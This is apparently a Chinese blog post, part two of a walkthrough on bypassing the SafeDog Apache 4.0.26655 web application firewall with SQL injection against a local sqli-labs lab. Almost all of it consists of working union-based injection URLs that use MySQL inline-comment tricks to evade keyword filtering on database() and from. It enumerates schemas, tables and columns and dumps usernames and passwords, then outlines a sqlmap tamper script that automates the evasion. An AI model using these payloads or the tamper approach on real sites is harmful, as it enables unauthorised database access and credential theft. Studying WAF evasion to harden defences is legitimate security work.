SQL注入 安全狗apache4.0.26655绕过(下)

简介: SQL注入 安全狗apache4.0.26655绕过

在这里将database()这个关键字分割,用


database/*!%23a%%0a*/()


因为在sql语句中,以下三种方式均可运行



http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2,database/*!%23a%%0a*/() --+




这里得到数据库是security


法2 schema_name


http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name from information_schema.schemata --+

错误



这里对其中的关键字进行测试,看看拦截了什么


http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name  --+

正常



http://127.0.0.1sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2,  information_schema.schemata --+

正常



http:/127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name from --+

正常



http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name from  --+

正常



http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2,  from information_schema.schemata --+

异常



http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name from information_schema.schemata --+

异常


因此这里对from进行绕过

采用老方法:


http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name /*!%23a%%0a*/ frominformation_schema.schemata  --+




或者:


http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name  /*!%23a%%0afrom*/information_schema.schemata  --+



使用limit取出数据


http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name  /*!%23a%%0afrom*/   information_schema.schemata limit 1,1  --+



这样太慢,不如使用group_concat()



http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, group_concat(schema_name)  /*!%23a%%0afrom*/   information_schema.schemata   --+



4. 取出security对应的表


select table_name from information_schema.tables where table_schema='security'

如法炮制:


http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, group_concat(table_name) /*!from*/ information_schema.tables where table_schema='security' --+


额,这只用了一个内联注释而已,这也太。。。。

还有下面的几种方法:对from处理


http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, group_concat(table_name) /*!%23crow%0afrom*/ information_schema.tables where table_schema='security' --+



security进行十六进制处理:



http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, group_concat(table_name) /*!%23crow%0afrom*/ information_schema.tables where table_schema=0x7365637572697479--+



5. 取出users对应的字段


查表select table_name from information_schema.tables where table_schema='security'
查列:
select column_name from information_schema.columns where table_name='users'
查字段的值:
select username,password from security.users

一样


http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, group_concat(column_name) from information_schema.columns where table_name='users' --+


啊这,我连from都没处理,waf放弃抵抗了吗?


http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union select 1,2, group_concat(column_name) from information_schema.columns where table_name='users' --+

还好,还好,原来还在



6. 取出username,password的值


查字段:select username,password from security.users


http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, username  from security.users

起作用了

处理下from


http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, username  /*!%23crow%0afrom*/ security.users --+



这样太慢,一次取出所有数据吧



http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, group_concat(concat_ws(0x7e, username, password)) from security.users --+


啊,这....


这防护。。。。


7. tamper编写


这里可以分析下,为了方便,可以将所有的空格,都替换为


/*!%23crow%0a*/

,再对from关键字替换为


/*!%23crow%0afrom*/

,再对database()替换为


database/*!%23crow%0a*/()
相关文章
|
12天前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
48 5
|
14天前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
42 5
|
13天前
|
SQL 安全 数据安全/隐私保护
Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
63 1
|
13天前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
在Python Web开发中,构建安全应用至关重要。本文通过问答形式,详细解析了三种常见Web安全威胁——SQL注入、XSS和CSRF,并提供了实用的防御策略及示例代码。针对SQL注入,建议使用参数化查询;对于XSS,需对输出进行HTML编码;而防范CSRF,则应利用CSRF令牌。通过这些措施,帮助开发者有效提升应用安全性,确保网站稳定运行。
28 1
|
15天前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,但安全挑战不容小觑。本文剖析Python Web应用中的三大安全威胁:SQL注入、XSS及CSRF,并提供防御策略。通过示例代码展示如何利用参数化查询、HTML转义与CSRF令牌构建安全防线,助您打造更安全的应用。安全是一场持久战,需不断改进优化。
27 3
|
8天前
|
关系型数据库 MySQL 网络安全
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
|
3月前
|
SQL 存储 监控
SQL Server的并行实施如何优化?
【7月更文挑战第23天】SQL Server的并行实施如何优化?
68 13
|
3月前
|
SQL
解锁 SQL Server 2022的时间序列数据功能
【7月更文挑战第14天】要解锁SQL Server 2022的时间序列数据功能,可使用`generate_series`函数生成整数序列,例如:`SELECT value FROM generate_series(1, 10)。此外,`date_bucket`函数能按指定间隔(如周)对日期时间值分组,这些工具结合窗口函数和其他时间日期函数,能高效处理和分析时间序列数据。更多信息请参考官方文档和技术资料。
|
3月前
|
SQL 存储 网络安全
关系数据库SQLserver 安装 SQL Server
【7月更文挑战第26天】
48 6
|
2月前
|
SQL 安全 Java
驱动程序无法通过使用安全套接字层(SSL)加密与 SQL Server 建立安全连接。错误:“The server selected protocol version TLS10 is not accepted by client
驱动程序无法通过使用安全套接字层(SSL)加密与 SQL Server 建立安全连接。错误:“The server selected protocol version TLS10 is not accepted by client
232 0

推荐镜像

更多
下一篇
无影云桌面